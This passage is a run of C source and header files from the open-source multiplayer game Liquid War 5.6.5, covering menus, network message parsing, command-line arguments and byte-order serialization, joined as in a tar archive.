MODEX_SCALE; extern BITMAP *NEXT_SCREEN; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void rect_for_viewport (void); BITMAP *page_flip (void); void last_flip (void); void lw_viewport_register_change (int count); #endif liquidwar-5.6.5/src/language.c0000664000372000037200000001331613407756104015663 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : language.c */ /* contenu : menu used to set up language options */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "language.h" #include "config.h" #include "dialog.h" #include "disk.h" #include "help.h" #include "menu.h" #include "lang.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ static void update_language (DIALOG * d) { int i; quick_buttons (d); d[4].dp = lw_lang_string (LW_LANG_STRING_LANGUAGE_AUTO); for (i = 0; i < LW_LANG_NB_LANGUAGES; ++i) { d[i + 5].dp = lw_lang_language (i); } } /*------------------------------------------------------------------*/ int language_options (void) { DIALOG d[6 + LW_LANG_NB_LANGUAGES]; int i, choix = 4, retour = 0; memset (d, 0, sizeof (d)); standard_button (d + 4, 0, 0, 1, 2 + LW_LANG_NB_LANGUAGES); for (i = 0; i < LW_LANG_NB_LANGUAGES; ++i) { standard_button (d + i + 5, 0, 2 + i, 1, 2 + LW_LANG_NB_LANGUAGES); } update_language (d); d[5 + LW_LANG_NB_LANGUAGES].proc = 0; while (retour == 0) { choix = my_do_dialog (d, choix); switch (choix) { case -1: case MENU_QUICK_BACK: retour = 1; break; case MENU_QUICK_MAIN: retour = MENU_TOP; break; case MENU_QUICK_QUIT: if (confirm_quit ()) retour = MENU_EXIT; break; case MENU_QUICK_PLAY: retour = MENU_PLAY; break; case 4: CONFIG_LANGUAGE = LW_LANG_LANGUAGE_AUTO; update_language (d); break; default: if (choix >= 5 && choix < 5 + LW_LANG_NB_LANGUAGES) { CONFIG_LANGUAGE = choix - 5; update_language (d); } } } if (retour > 0) retour--; return retour; } liquidwar-5.6.5/src/netmess.c0000664000372000037200000003401013407756104015550 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : netmess.c */ /* content : functions to create and parse network messages */ /* last update : April 14th 2001 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include #include "netmess.h" /*==================================================================*/ /* static functions declaration */ /*==================================================================*/ static int eat_space (char **message); static int read_separator (char **message); static char *read_word (char **message); static int get_code (char **message); static int get_argc (char *message); static char **get_argv (char *message, int argc); /*==================================================================*/ /* functions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * strcasecmp does not exists on win32, so we make it default to strcmp. * It's not a big problem since case insensitive tests are usefull in * developpement and network stuff is easier to test under UNIX anyway... */ #ifndef strcasecmp #define strcasecmp(A,B) strcmp((A),(B)) #endif /*------------------------------------------------------------------*/ /* * Skip spaces, tabs and the likes. */ static int eat_space (char **message) { int result = 0; while (isspace (**message)) { result++; ++(*message); } return result; } /*------------------------------------------------------------------*/ /* * Reads a separator token. The separator is ',' */ static int read_separator (char **message) { int result = 0; eat_space (message); if ((**message) == ',') { result++; ++(*message); } eat_space (message); return result; } /*------------------------------------------------------------------*/ /* * Reads a word, a number, basically what's between separators. * The returned pointer must be disallocated with a "free". */ static char * read_word (char **message) { char *begin = NULL; char *result = NULL; int len; char quote_char; eat_space (message); quote_char = **message; if (quote_char == '\"' || quote_char == '\'') { /* * We handle strings quoted with ' or ". * No escape character is handled yet... */ ++(*message); begin = *message; while ((**message) != quote_char && (**message) != '\0') { ++(*message); } len = (*message) - begin; ++(*message); } else { begin = *message; while ((!isspace (**message)) && (**message) != ',' && (**message) != '\0') { ++(*message); } len = (*message) - begin; } if (len >= 0) { result = (char *) malloc (len + 1); if (result != NULL) { if (len > 0) { strncpy (result, begin, len); } result[len] = 0; lw_netmess_cleanup_arg (result); } } eat_space (message); return result; } /*------------------------------------------------------------------*/ /* * Returns the code of the command. */ static int get_code (char **message) { char *command; int result = LW_NETMESS_CODE_UNKNOWN; if (read_separator (message) == 0) { if ((command = read_word (message)) != NULL) { if (strcasecmp (command, LW_NETMESS_TEXT_OK) == 0) { result = LW_NETMESS_CODE_OK; } else if (strcasecmp (command, LW_NETMESS_TEXT_ERR) == 0) { result = LW_NETMESS_CODE_ERR; } else if (strcasecmp (command, LW_NETMESS_TEXT_PING) == 0) { result = LW_NETMESS_CODE_PING; } else if (strcasecmp (command, LW_NETMESS_TEXT_ECHO) == 0) { result = LW_NETMESS_CODE_ECHO; } else if (strcasecmp (command, LW_NETMESS_TEXT_PROGRAM) == 0) { result = LW_NETMESS_CODE_PROGRAM; } else if (strcasecmp (command, LW_NETMESS_TEXT_VERSION) == 0) { result = LW_NETMESS_CODE_VERSION; } else if (strcasecmp (command, LW_NETMESS_TEXT_PASSWORD) == 0) { result = LW_NETMESS_CODE_PASSWORD; } else if (strcasecmp (command, LW_NETMESS_TEXT_FREE) == 0) { result = LW_NETMESS_CODE_FREE; } else if (strcasecmp (command, LW_NETMESS_TEXT_TEAM) == 0) { result = LW_NETMESS_CODE_TEAM; } else if (strcasecmp (command, LW_NETMESS_TEXT_READY) == 0) { result = LW_NETMESS_CODE_READY; } else if (strcasecmp (command, LW_NETMESS_TEXT_START) == 0) { result = LW_NETMESS_CODE_START; } else if (strcasecmp (command, LW_NETMESS_TEXT_WAITING) == 0) { result = LW_NETMESS_CODE_WAITING; } else if (strcasecmp (command, LW_NETMESS_TEXT_NEXT) == 0) { result = LW_NETMESS_CODE_NEXT; } else if (strcasecmp (command, LW_NETMESS_TEXT_TEAMSTARTINFO) == 0) { result = LW_NETMESS_CODE_TEAMSTARTINFO; } else if (strcasecmp (command, LW_NETMESS_TEXT_WHO) == 0) { result = LW_NETMESS_CODE_WHO; } else if (strcasecmp (command, LW_NETMESS_TEXT_LOCAL) == 0) { result = LW_NETMESS_CODE_LOCAL; } else if (strcasecmp (command, LW_NETMESS_TEXT_NETWORK) == 0) { result = LW_NETMESS_CODE_NETWORK; } else if (strcasecmp (command, LW_NETMESS_TEXT_NOBODY) == 0) { result = LW_NETMESS_CODE_NOBODY; } else if (strcasecmp (command, LW_NETMESS_TEXT_SENDMAP) == 0) { result = LW_NETMESS_CODE_SENDMAP; } else if (strcasecmp (command, LW_NETMESS_TEXT_RECVMAP) == 0) { result = LW_NETMESS_CODE_RECVMAP; } else if (strcasecmp (command, LW_NETMESS_TEXT_SENDCONFIG) == 0) { result = LW_NETMESS_CODE_SENDCONFIG; } else if (strcasecmp (command, LW_NETMESS_TEXT_RECVCONFIG) == 0) { result = LW_NETMESS_CODE_RECVCONFIG; } else if (strcasecmp (command, LW_NETMESS_TEXT_CHATTALK) == 0) { result = LW_NETMESS_CODE_CHATTALK; } else if (strcasecmp (command, LW_NETMESS_TEXT_CHATLISTEN) == 0) { result = LW_NETMESS_CODE_CHATLISTEN; } else if (strcasecmp (command, LW_NETMESS_TEXT_QUIT) == 0) { result = LW_NETMESS_CODE_QUIT; } free (command); } } return result; } /*------------------------------------------------------------------*/ /* * Gets the number of arguments in the message. * It's a little different from the C convention used in main(), * since 0 means "0 args" (whereas in main() 0 args corresponds to argc==1). */ static int get_argc (char *message) { int result = 0; char *word = NULL; int null_arg = 0; if (read_separator (&message) == 0) { if (message[0] == '\0') { null_arg = 1; } word = read_word (&message); if (word != NULL) { free (word); result = 1; while (read_separator (&message) == 1) { word = read_word (&message); if (word != NULL) { free (word); result++; } } } } if (result == 1 && null_arg) { result = 0; } return result; } /*------------------------------------------------------------------*/ /* * Parses all the arguments of the message. */ static char ** get_argv (char *message, int argc) { char **result = NULL; char *word; int i = 0; if (argc > 0 && read_separator (&message) == 0) { result = (char **) malloc (argc * sizeof (char *)); if (result != NULL) { word = read_word (&message); if (word != NULL) { result[i] = word; i = 1; while (i < argc && read_separator (&message) == 1) { word = read_word (&message); if (word != NULL) { result[i] = word; i++; } } } } if (i != argc) { free (result); result = NULL; } } return result; } /*------------------------------------------------------------------*/ /* * Parses and interprets a network message. * The syntaxe must be "COMMAND arg1,arg2,arg3,...". * This function should never fail, unless there are some problems * in memory allocation. Parsing an invalid message should simply * return a LW_NETMESS_CODE_UNKNOWN type with no args at all. * It's important to free the obtained pointer with lw_netmess_free. */ LW_NETMESS * lw_netmess_read (char *message) { LW_NETMESS *result = NULL; result = (LW_NETMESS *) malloc (sizeof (LW_NETMESS)); if (result != NULL) { result->code = get_code (&message); result->argc = get_argc (message); result->argv = get_argv (message, result->argc); } return result; } /*------------------------------------------------------------------*/ /* * To be called after each successfull call to lw_netmess_read * This function calls free() internally. */ void lw_netmess_free (LW_NETMESS * ptr) { int i; if (ptr != NULL) { if (ptr->argv != NULL) { for (i = 0; i < ptr->argc; ++i) { free (ptr->argv[i]); } if (ptr->argc > 0) { free (ptr->argv); } } } } /*------------------------------------------------------------------*/ /* * Cleanups strings so that they can be used as arguments in * network messages */ void lw_netmess_cleanup_arg (char *string) { char *pos; unsigned char c; pos = string; while ((c = *pos) != '\0') { if (c < 32 || c > 127 || strchr ("'\",", c)) { (*pos) = ' '; } pos++; } } liquidwar-5.6.5/src/gfxmode.h0000664000372000037200000001052013407756104015530 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : gfxmode.h */ /* contenu : gestion des modes graphiques */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_GFXMODE #define LIQUID_WAR_INCLUDE_GFXMODE /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ extern int GFX_MODE_W[5]; extern int GFX_MODE_H[5]; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int need_to_change_mode (int res1, int res2, int flip); int set_resolution (int res, int flip, int fullscreen, int *flip_enabled); #endif liquidwar-5.6.5/src/play.h0000664000372000037200000001031113407756104015042 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : play.h */ /* contenu : fonction play du menu principal */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_PLAY #define LIQUID_WAR_INCLUDE_PLAY /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int play_sequence (void); int play_sequence_ex (void); #endif liquidwar-5.6.5/src/parser.c0000664000372000037200000001456613407756104015404 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : parser.c */ /* contenu : lecture des parametres de ligne de commande */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include /*==================================================================*/ /* variables globales */ /*==================================================================*/ #define MAX_ARGUMENT_NUMBER 256 char *EXECUTABLE_NAME; static char *ARGUMENT_NAME[MAX_ARGUMENT_NUMBER]; static char *ARGUMENT_VALUE[MAX_ARGUMENT_NUMBER]; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ static int is_arg_marker (char c) { #ifdef UNIX /* * Under Unix, we do not accept / as an option key, * since it is used for paths */ return (c == '-'); #else return (c == '/' || c == '-'); #endif } /*------------------------------------------------------------------*/ void read_command_line (int argc, char **argv) { int i, j; char *str; for (i = 0; i < MAX_ARGUMENT_NUMBER; ++i) ARGUMENT_NAME[i] = ARGUMENT_VALUE[i] = ""; str = EXECUTABLE_NAME = argv[0]; while (*str) { if ((*str) == '/' || (*str) == '\\') EXECUTABLE_NAME = (str + 1); str++; } for (i = 1, j = 0; i < argc && j < MAX_ARGUMENT_NUMBER; ++i) { str = argv[i]; if (is_arg_marker (str[0])) { ARGUMENT_NAME[j] = str + 1; if (i < argc - 1) { str = argv[i + 1]; if (!is_arg_marker (str[0])) { ARGUMENT_VALUE[j] = str; i++; } } j++; } } } /*------------------------------------------------------------------*/ int exist_argument (char *str) { int i, found = 0; for (i = 0; i < MAX_ARGUMENT_NUMBER && !found; ++i) found = !strcmp (str, ARGUMENT_NAME[i]); return found; } /*------------------------------------------------------------------*/ int exist_argument_value (char *str) { int i, found = 0; for (i = 0; i < MAX_ARGUMENT_NUMBER && !found; ++i) found = (!strcmp (str, ARGUMENT_NAME[i])) && (strcmp ("", ARGUMENT_VALUE[i])); return found; } /*------------------------------------------------------------------*/ char * get_argument_str (char *str) { int i, place = 0, found = 0; for (i = 0; i < MAX_ARGUMENT_NUMBER && !found; ++i) if ((found = (!strcmp (str, ARGUMENT_NAME[i]))) != 0) place = i; if (found) return ARGUMENT_VALUE[place]; else return ""; } /*------------------------------------------------------------------*/ int get_argument_int (char *str) { return (atoi (get_argument_str (str))); } liquidwar-5.6.5/src/menu.h0000664000372000037200000001031113407756104015041 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : menu.h */ /* contenu : affichage des menus principaux */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_MENU #define LIQUID_WAR_INCLUDE_MENU /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int confirm_quit (void); void main_menu (int fade_in); #endif liquidwar-5.6.5/src/error.h0000664000372000037200000001113313407756104015231 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : error.h */ /* contenu : messages d'erreur pendant le jeu */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_ERROR #define LIQUID_WAR_INCLUDE_ERROR /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int error_not_enough_teams (void); int error_not_enough_big_data (void); int error_graphics_init_failed (void); int error_no_network_support (void); int error_unable_to_connect (void); int error_not_a_liquidwar_server (void); int error_wrong_version (void); int error_network_problem (void); int error_cant_send_map (void); int error_cant_receive_map (void); int error_server_full (void); int error_bad_password (void); int error_bad_config_range (void); #endif liquidwar-5.6.5/src/serial.c0000664000372000037200000001707213407756104015362 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : serial.c */ /* content : routines used to (un)serialize values */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include "serial.h" /*==================================================================*/ /* constantes */ /*==================================================================*/ /* * If you define LW_SERIAL_WRONG_BYTE_ORDER, the game will * be compiledd with the "other" byte order. This is for testing * only, do *not* used for release build, _even_ when compiling on * a Mac. The purpose of this constant is testing, to check that * there are no bugs. Should you compile a release with this flag * set to 1, you would not be able to play in networked mode with * other players using the "standard" byte order. */ //#define LW_SERIAL_WRONG_ENDIANESS /*==================================================================*/ /* fonctions */ /*==================================================================*/ /* * Here's an ugly serialization of ints and shorts. * Usefull to make the game work on Mac OS X and possible * any platform that does not have PC-like endianess */ /*------------------------------------------------------------------*/ int lw_serial_get_int (void *raw) { int i = 0; unsigned char *ptr; ptr = (unsigned char *) raw; #ifndef LW_SERIAL_WRONG_ENDIANESS i = ((unsigned int) ptr[3]) << 24 | ((unsigned int) ptr[2]) << 16 | ((unsigned int) ptr[1]) << 8 | ((unsigned int) ptr[0]); #else i = ((unsigned int) ptr[0]) << 24 | ((unsigned int) ptr[1]) << 16 | ((unsigned int) ptr[2]) << 8 | ((unsigned int) ptr[3]); #endif return i; } /*------------------------------------------------------------------*/ void lw_serial_set_int (void *raw, int i) { unsigned char *ptr; ptr = (unsigned char *) raw; #ifndef LW_SERIAL_WRONG_ENDIANESS ptr[0] = 0xFF & i; ptr[1] = 0xFF & i >> 8; ptr[2] = 0xFF & i >> 16; ptr[3] = i >> 24; #else ptr[3] = 0xFF & i; ptr[2] = 0xFF & i >> 8; ptr[1] = 0xFF & i >> 16; ptr[0] = i >> 24; #endif } /*------------------------------------------------------------------*/ short lw_serial_get_short (void *raw) { short s = 0; unsigned char *ptr; ptr = (unsigned char *) raw; #ifndef LW_SERIAL_WRONG_ENDIANESS s = ((unsigned int) ptr[1]) << 8 | ((unsigned int) ptr[0]); #else s = ((unsigned int) ptr[0]) << 8 | ((unsigned int) ptr[1]); #endif return s; } /*------------------------------------------------------------------*/ void lw_serial_set_short (void *raw, int s) { unsigned char *ptr; ptr = (unsigned char *) raw; #ifndef LW_SERIAL_WRONG_ENDIANESS ptr[0] = 0xFF & s; ptr[1] = 0xFF & s >> 8; #else ptr[1] = 0xFF & s; ptr[0] = 0xFF & s >> 8; #endif } /*------------------------------------------------------------------*/ void lw_serial_get_map_header (void *raw_map, int *size, short *w, short *h) { char *header; header = (char *) raw_map; if (size != NULL) { (*size) = lw_serial_get_int (header); } if (w != NULL) { (*w) = lw_serial_get_short (header + 4); } if (h != NULL) { (*h) = lw_serial_get_short (header + 6); } } /*------------------------------------------------------------------*/ void lw_serial_set_map_header (void *raw_map, int size, short w, short h) { char *header; header = (char *) raw_map; lw_serial_set_int (header, size); lw_serial_set_short (header + 4, w); lw_serial_set_short (header + 6, h); } /*------------------------------------------------------------------*/ void lw_serial_get_texture_header (void *raw_texture, short *w, short *h) { char *header; header = (char *) raw_texture; if (w != NULL) { (*w) = lw_serial_get_short (header + 0); } if (h != NULL) { (*h) = lw_serial_get_short (header + 2); } } /*------------------------------------------------------------------*/ void lw_serial_set_texture_header (void *raw_texture, short w, short h) { char *header; header = (char *) raw_texture; lw_serial_set_short (header + 0, w); lw_serial_set_short (header + 2, h); } liquidwar-5.6.5/src/langdk.h0000664000372000037200000001055413407756104015346 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : langdk.h */ /* content : handles Danish dependant stuff (locale) */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_LANGDK #define LIQUID_WAR_INCLUDE_LANGDK /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* constants */ /*==================================================================*/ /*==================================================================*/ /* globals */ /*==================================================================*/ /*==================================================================*/ /* functions */ /*==================================================================*/ extern void lw_langdk_init (); extern char *lw_langdk_string (int id); #endif liquidwar-5.6.5/src/langen.c0000664000372000037200000010423513407756104015345 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 